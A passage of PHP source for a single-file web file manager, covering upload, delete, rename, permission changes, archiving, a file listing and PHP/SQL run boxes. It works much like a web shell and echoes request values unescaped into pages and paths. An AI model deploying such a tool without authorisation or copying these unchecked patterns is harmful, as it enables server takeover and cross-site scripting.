    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_POST['search_recursive'])) {
		ini_set('max_execution_time', '0');
		$search_data =  find_text_in_files($_POST['path'], $_POST['mask'], $_POST['search_recursive']);
		if(!empty($search_data)) {
			$msg .= __('Found in files').' ('.count($search_data).'):<br>';
			foreach ($search_data as $filename) {
				$msg .= '<a href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';
			}
		} else {
			$msg .= __('Nothing founded');
		}	
	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
